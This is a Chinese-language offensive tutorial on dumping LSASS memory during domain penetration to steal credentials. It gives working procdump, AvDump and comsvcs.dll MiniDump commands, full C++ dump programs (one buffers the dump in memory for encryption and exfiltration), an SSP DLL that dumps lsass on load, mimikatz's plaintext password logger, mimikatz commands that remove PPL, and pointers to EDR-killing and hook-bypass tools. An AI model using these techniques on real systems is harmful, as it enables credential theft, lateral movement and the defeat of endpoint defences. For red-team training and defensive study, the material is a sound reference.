转储内存是域渗透中重要的一个环节。随着攻防对抗的升级,安全产品出现了如内存保护、PPL、杀dump文件、APIhook等防御手段,传统的内存转储技术在实战中已经逐渐无法使用。本文将由浅入深的介绍常见的内存转储技术,针对不同的防护原理给出不同的dump内存方法。
在https://improsec.com/tech-blog/mimikatz-under-the-hood
这篇文章中,作者自己实现了logonpasswords模块,主要分为几个步骤:
获取sebug权限
打开lassass进程,并找到lsass加载的lsasrv.dll模块。
在lsasrv.dll模块内存中搜索一个已知的表达式,表达式是lsasrv.dll中LsaInitializeProtectedMemory函数的一部分。
我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
// or avoid reading lsass by dumping a cloned lsass process
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
使用mimikatz解dump文件
avdump是杀软Avast包含的程序,具有可信签名
.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0
.\rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump pid C:\temp\lsass.dmp full
有的时候cmd没有sedbug权限,而powershell有,优先使用powershell执行:
主要依赖MiniDumpWriteDump:
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
主要通过C#调用windows api实现:
https://github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs
结合反射加载可以绕过很多不保护内存的杀软,如definder、sysmantec等。
依旧是使用MiniDumpWriteDump:
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1
样例代码未获取sedug权限,需要在system下使用。
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim
代码与c++差不多:
nimble install winim
nim compile -d:release --opt:size dump.nim
报错缺少gcc.exe,下载mingw并配置环境变量后编译。运行报错:
不知道什么原因,但总归是可以解决的。直接编译免杀效果一般:
很多时候我们担心导出的dump文件被杀软杀了,想要对导出部分进行加密,我们可以使用MiniDump Callbacks将结果保存在内存中,再进行加密输出,主要依靠MiniDumpWriteDump提供的回调函数。
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
绑定回调函数并调用:
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
主要是回调函数里的内存操作要注意,首先在堆上申请了一块内存:
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
之后再将函数执行后生成的数组放入dumpbuffer中:
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
编译后直接执行MiniDumpWriteDump返回0,执行失败,怀疑是需要sedebug权限,这里使用powershell启动成功抓取:
因为powershell是自带sebug权限的:
执行结果和想象的略有不同,看起来回调函数被多次调用了。导出内存是按块进行输出的:
这里我没调试之前是挺疑惑的,因为按我以前的理解,堆在内存中应该是不连续的,并不能像栈一样直接当连续的内存使用。
但开发的同时说申请的时候HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 1024 75)是一块完整的内存块,是连续的,这里可能因为栈的空间不够大,所以用了堆来存放。
完整的导出代码:
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
// Buffer for saving the minidump
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
DWORD bytesWritten = 0;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
// Get lsass PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
printf("[+] lsass PID=0x%x\n",lsassPID);
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
if (isDumped)
{
// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
{
printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);
}
}
return 0;
}
完整的轮子:https://github.com/CCob/MirrorDump
已有成熟的轮子:https://github.com/deepinstinct/LsassSilentProcessExit
主要使用LsassSilentProcessExit这个api,通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值:
#define IFEO_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数:
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);
首先我们要了解什么是ssp,简单来讲ssp是系统自带的一个功能,用于对认证流程的一些补充。一般为一个dll文件,用户可以通过设置ssp参与lsass.exe原本的处理流程。
minilib.dll
该文件是mimikatz项目中带的dll文件,我们熟知的功能就是通过该dll记录账户的明文密码:
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
常见的部署ssp的方法有两种:
memssp
这种方法不需要重启,通过操作lassass.exe的内存记录密码:
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))
相比较而言这种方法不需要重启,但操作内存的行为非常敏感,容易被edr报警。
原理
我们通过ssp绕过内存保护的思路是让lasses.exe自己导出自己,也就是通过ssp装载一个dll,该dll的功能是导出自己的内存。这样看起来是没有问题,但对内存的操作还是较为危险的。xpn通过逆向windows api AddSecurityPackage函数,发现这个函数有rpc的调用。我们可以通过模拟这个函数rpc调用装载我们自定义的dll实现我们想要的功能。目前已经有一些现成的轮子:
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 模拟SpAcceptCresidentials进行rpc调用的程序
https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0 实现恶意功能的dll程序,这里是记录明文密码
https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c dump内存的dll
结合上文我们使用MiniDumpWriteDump导出内存的功能,我们就可以绕过内存保护了。
编译模拟SpAcceptCresidentials进行rpc调用的程序,可能会遇到一些报错:
解决办法:
#pragma comment (lib, "rpcrt4.lib")
编译导出内存的dll:
#include "pch.h"
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#include <wchar.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int dump() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
进行测试,这里path需要绝对路径,代码种并未将文件载入内存,rpc发送的只有文件名,所以需要绝对路径:
会返回rpc调用异常,但实际代码已经被执行。
某些安全产品已经开始拦截MiniDumpWriteDump这种行为,拦截的方法是通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。
与edr api hook对抗思路:https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6
工具:https://github.com/outflanknl/Dumpert
在《基础免杀》系列文章中介绍了多种解hook的方式可供参考。
Windows 8.1 引入了 Protected Process Light (PPL) 的概念,它使经过特殊签名的程序能够以不受篡改和终止的方式运行,即使是管理员用户也是如此。开启ppl的机器,就算我们直接使用任务管理器dump敏感进程如lsass.exe也无法获得转储文件:
除了单机配置,还可以通过域组策略下发的形式对所有域内机器进行设置。单机设置如图:
常规的修改注册表的方式在域渗透的环境下并不可行,域重启会自动重新加载组策略导致又再次开启了PPL。
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
笔者也没有接触过windows内核编程,从老外的文章来看,mimikatz简单原理是使用自签名的驱动将某个代表程序保护级别的标志位修改了,进而降低了lsass.exe的保护级别:
修改前保护级别为:
修改后:
该方法目前的问题有两个,mimikatz的驱动基本是必杀。其次mimikatz没有恢复lsass的保护级别,可能会导致系统的一些问题。
我们自定义驱动是无法获得驱动签名的,除非向微软申请。这样,我们就需要寻找到windows和驱动相关的漏洞,或寻找到一个带签名且有漏洞的驱动。
这里我们可以参考项目https://github.com/wavestone-cdt/EDRSandblast
在团队之前的文章《基础免杀》系列中,我们提及了很多edr依赖内核回调实现报警的功能。EDRSandBlast 枚举在保存敏感内核api的数组中定义的例程,并删除链接到预定义的 EDR 驱动程序列表的任何回调例程(支持超过 1000 个安全产品驱动程序)。我们在该项目代码中可以看到对知名安全产品的检测规则,主要是三方面的检测,比如进程、二进制文件,如下图:
包括驱动文件检查:
该程序后续在内核态干掉了edr的内核回调。后续又用了《基础免杀》中提及的disable ETW及解用户态钩子技术,达到bypass edr的效果。同时支持绕过ppl的功能:
在开启PPL的情况下,只有运行在较高保护级别的进程才能对受保护进程进行操作。
Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程,它包括一个 _PS_PROTECTION 字段,通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
(Level 是一个 UCHAR,即一个 unsigned char)。 前 3 位代表保护类型(参见下面的 PS_PROTECTED_TYPE)。 它定义了流程是 PP 还是 PPL。 最后 4 位代表 Signer 类型(参见下面的 PS_PROTECTED_SIGNER),即实际的保护级别。
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
通过在内核内存中写入,EDRSandblast 进程能够将其自身的保护级别升级到 PsProtectedSignerWinTcb-Light。 这个级别足以转储 LSASS 进程内存,因为它“支配”到 PsProtectedSignerLsa-Light,即使用 RunAsPPL 机制运行的 LSASS 进程的保护级别。
关键函数如下图所示:
直接操作内核的内存,达到SetCurrentProcessAsProtected的效果,后续使用syscall或直接在内存快照中MiniDumpWriteDump
该项目对于EDR的bypass相当比较全面,并且提供的漏洞驱动静态上相对要好很多。
开启ppl后我们无法获取到lsass.exe进程的句柄,但其他进程(例如防病毒软件)在其内存空间中已经打开了 LSASS 进程的句柄。 因此,作为具有调试权限的管理员,我们可以将此句柄复制到您自己的进程中,然后使用它来访问 LSASS。
事实证明,这种技术还有另一个目的。 它还可用于绕过 RunAsPPL,因为某些未受保护的进程可能通过其他方式(例如使用驱动程序)获得了 LSASS 进程的句柄。
查看pykatz的源码,逻辑很清晰:
假设被ppl保护的进程存在一个dll劫持漏洞,我们就可以在程序的内存空间中执行任意代码(和前面提到的ssp的方法有点类似)。但显然,lsass不可能存在dll劫持。
但是,\Known DLLs给了我们机会,按照Windows 上的 DLL 搜索顺序,当一个进程被创建时,它首先会遍历\Known DLLs,然后继续搜索应用程序的目录、系统目录等等……一般只有在从磁盘加载的时候会校验文件签名。
一般的pp保护的程序加载dll直接从磁盘加载:
而ppl保护的程序会从\Known DLLs先查找,如果我们可以控制\Known DLLs中的dll,就可以实现dll劫持的功能,进而达到在lsass的程序空间中执行代码的效果。
控制Known DLLs相当复杂,主要使用DefineDosDevice,结合一系列的操作,相当复杂,甚至需要两次impersonate用户身份,这里不做赘述。
总之就是通过一系列操作可以新建一个内核对象,该内核对象为一个符号链接,指向我们的恶意dll的section,而并非dll文件。
我们可以使用NtCreateSection获得Section对象,但需要dll文件落地。作者使用一种从内存中直接map dll到已有dll的技术,并且无需修改dll的本地文件。具体实现可以参考原文。
完成该操作后,我们需要找到一个进程,要满足被PPL保护且等级高于PsProtectedSignerLsa,比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能,工具作者找到的进程为services.exe,被hook的dll为EventAggregation.dll:
工具作者在原项目关键步骤注释写的很清晰,感兴趣的朋友可以看原项目的代码。
同类的项目包括RIPPL。
不幸的是,在较新的win10/server2022/win11(大约2022.7更新)的版本,该方法已不再有效。因为ppl程序于pp程序一样从磁盘直接加载dll。
目前遇到的AV/EDR对内存的保护,一类是对传统方式进行限制,如windows definder、symantec、macfee等。一类是用户态的apiHOOK,如卡巴斯基、sophos等。
实际环境中还可能遇到既有AV/EDR,又开启PPL的情况,需要熟练掌握以上技术针对具体环境具体开发。